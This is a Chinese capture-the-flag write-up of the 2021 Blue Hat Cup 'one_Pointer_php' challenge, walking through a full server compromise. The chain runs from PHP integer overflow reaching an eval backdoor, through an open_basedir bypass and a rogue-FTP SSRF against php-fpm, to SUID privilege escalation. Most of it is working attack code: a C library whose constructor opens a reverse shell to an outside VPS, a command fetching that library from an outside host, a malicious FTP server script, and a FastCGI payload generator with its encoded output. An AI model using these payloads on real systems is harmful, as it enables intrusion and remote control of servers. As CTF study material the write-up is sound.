[2021 蓝帽杯]one_Pointer_php赛后复盘
前言
PHP 数组溢出
攻击 php-fpm 绕过 disable_functions
SUID 提权
Ending......
前言
很好的一个题，偏向于真实的实战环境，但是当时没有做出来真的很可惜，幸好赵总在buuctf上复现了这道题，可以让我这个菜鸡得以复现。
进入题目，冬奥会火炬？？？：
题目给了源码，源码就两个，都非常简单。
user.php
<?php
class User{
public $count;
}
?>
就定义了一个简单User类。
add_api.php
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1; // 数组$count的第几个属性赋值为1
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
// $_COOKIE["data"]的默认值是 O:4:"User":1:{s:5:"count";i:1;}
?>
是个后门文件，只要能绕过第5行的 $count[]=1 即可进入到后面的 eval 代码执行处。但是这里是一个赋值语句（一个等号），并且赋的值是1，所以按理说不管怎样返回的都是 True：
也就没法进入到 else 语句中的代码执行阶段了，那我们便要想办法绕过这里。
PHP 数组溢出
在 PHP 中，整型数是有一个范围的，对于32位的操作系统，最大的整型是2147483647，即2的31次方，最小为-2的31次方。如果给定的一个整数超出了整型（integer）的范围，将会被解释为浮点型（float）。同样如果执行的运算结果超出了整型（integer）范围，也会返回浮点型（float）。
<?php
$a = 123445566;
$b = 9223372036854775807;
$c = 9223372036854775808;
$d = 50000000000000 * 1000000;
var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);
执行得到结果为：
int(123445566)
int(9223372036854775807)
float(9.2233720368548E+18)
float(5.0E+19)
但是这又什么用呢？我们继续往下看。
<?php
$userconut = 9223372036854775806;
$count[++$userconut]=1;
$count[]=1;
print_r($count);
得到：
PHP Warning: Cannot add element to the array as the next element is already occupied in C:\Users\LiuSir\Desktop\www\index.php on line 4
Warning: Cannot add element to the array as the next element is already occupied in C:\Users\LiuSir\Desktop\www\index.php on line 4
Array
(
[9223372036854775807] => 1
)
[Finished in 0.2s]
发现会报错，那我们便可以利用这一点来绕过。
payload：
O:4:"User":1:{s:5:"count";i:9223372036854775806;}
然后修改 Cookie 后便可以进行代码执行了：
查看 phpinfo，发现题目做了以下限制：
disable_functions：
过滤了各种命令执行函数，但是像 scandir、file_get_contents、file_put_contents 等目录和文件操作函数没有被过滤
open_basedir
设置了 open_basedir，只能访问 Web 目录，但我们可以利用chdir()与ini_set()组合来绕过 open_basedir：
/add_api.php?backdoor=chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
在根目录里发现了 flag。
尝试使用 file_get_contents() 等函数读取均失败，猜测是出题人对flag的权限做了限制。那我们就要想办法提权了，但是要提权则必须先拿到shell执行命令，也就是得要先绕过disable_functions。
攻击 php-fpm 绕过 disable_functions
这里尝试了很多方法绕过disable_functions均失败，当我读取 /proc/self/cmdline 时发现当前进程是 php-fpm：
所以说这道题应该就是通过攻击 php-fpm 来绕过 disable_functions 了。
首先查看nginx配置文件：
发现 php-fpm 绑定在了本地9001端口上。
好了，既然我们可以通过eval执行任意代码，那我们便可以构造恶意代码进行ssrf，利用ssrf攻击本地的 php-fpm。我们可以通过在vps上搭建恶意的ftp，骗取目标主机将payload转发到自己的9001端口上，从而执行命令。这是在之前复现Laravel Debug mode RCE（CVE-2021-3129）漏洞时学到的一个思路：https://whoamianony.top/2021/01/15/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Laravel/Laravel%20Debug%20mode%20RCE%EF%BC%88CVE-2021-3129%EF%BC%89%E5%88%A9%E7%94%A8%E5%A4%8D%E7%8E%B0/#%E5%88%A9%E7%94%A8FTP%E6%94%BB%E5%87%BBPHP-FPM
简单说一下原理，我们可以通过eval()构造一下代码：
file_put_contents($file,$data);
众所周知，如果我们能向 PHP-FPM 发送一个任意的二进制数据包，就可以在机器上执行代码。
FTP 协议允许通过 TCP 发送二进制数据包，更准确的说是该协议的被动模式，即：如果一个客户端试图从FTP服务器上读取一个文件（或写入），服务器会通知客户端将文件的内容读取（或写）到一个特定的IP和端口上。而且，这里对这些IP和端口没有进行必要的限制。例如，服务器可以告诉客户端连接到自己的某一个端口，如果它愿意的话。
现在，如果我们传入 ?file=ftp://evil-server/file.txt&data=payload ，会发生以下情况：
首先通过 file_put_contents() 函数连接到我们的FTP服务器，并试图使用 file_put_contents() 把文件上传上去。但是我们搭建的恶意的ftp服务器将告诉它把文件发送到 127.0.0.1:9000。这样，我们就可以向目标主机本地的 PHP-FPM 发送一个任意的数据包，从而执行代码，造成SSRF了。
下面我们来演示一下攻击过程。
首先尝试使用gopherus生成的攻击php-fpm的payload失败，然后尝试通过加载恶意.so的方式。
先编写一个扩展（网上都有，亘古不变）：
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}
编译
gcc hpdoger.c -fPIC -shared -o hpdoger.so
将生成的 hpdoger.so 上传到目标主机的 /tmp 目录中：
/add_api.php?backdoor=mkdir('css');chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://47.101.57.72:8848/hpdoger.so
然后再自己vps上使用以下脚本搭建一个恶意的ftp服务器：
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()
然后再vps上开启一个nc监听，用于接收反弹的shell：
然后执行如下脚本生成攻击 php-fpm 所需要的payload：
<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author Pierrick Charron <pierrick@webstart.fr>
* @version 1.0
*/
class FCGIClient
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const ABORT_REQUEST = 2;
const END_REQUEST = 3;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const MAXTYPE = self::UNKNOWN_TYPE;
const RESPONDER = 1;
const AUTHORIZER = 2;
const FILTER = 3;
const REQUEST_COMPLETE = 0;
const CANT_MPX_CONN = 1;
const OVERLOADED = 2;
const UNKNOWN_ROLE = 3;
const MAX_CONNS = 'MAX_CONNS';
const MAX_REQS = 'MAX_REQS';
const MPXS_CONNS = 'MPXS_CONNS';
const HEADER_LEN = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
. chr($clen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $content; /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version'] = ord($data{0});
$ret['type'] = ord($data{1});
$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved'] = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @return String
*/
public function request(array $params, $stdin)
{
$response = '';
// $this->connect();
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest);
}
$request .= $this->buildPacket(self::PARAMS, '');
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin);
}
$request .= $this->buildPacket(self::STDIN, '');
echo('data='.urlencode($request));
// fwrite($this->_sock, $request);
// do {
// $resp = $this->readPacket();
// if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
// $response .= $resp['content'];
// }
// } while ($resp && $resp['type'] != self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception('Bad request');
// }
// switch (ord($resp['content']{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
// break;
// case self::OVERLOADED:
// throw new Exception('New request rejected; too busy [OVERLOADED]');
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception('Role value not known [UNKNOWN_ROLE]');
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }
}
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
// die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
// $filepath = __FILE__;
//}else{
// $filepath = $_REQUEST['filepath'];
//}
$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SCRIPT_FILENAME' => $filepath,
'SCRIPT_NAME' => $req,
'QUERY_STRING' => 'command=whoami',
'REQUEST_URI' => $uri,
'DOCUMENT_URI' => $req,
#'DOCUMENT_ROOT' => '/',
'PHP_VALUE' => $php_value,
'SERVER_SOFTWARE' => '80sec/wofeiwo',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9001',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'localhost',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_LENGTH' => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>
得到：
%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
最后构造如下恶意代码将生成的payload发送到恶意的ftp服务器上：
/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://[email protected]:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9000%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00
此时当ftp建立连接后，会通过被动模式将payload重定向到目标主机本地9001端口的php-fpm上，并成功反弹shell：
SUID 提权
但此时仍然读不了flag：
接下来就是提权阶段了，最常见的就是suid提权了。
首先查看具有suid的命令
find / -perm -u=s -type f 2>/dev/null
发现php就有suid，直接进入交互模式执行代码，得到flag：
chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');
Ending......
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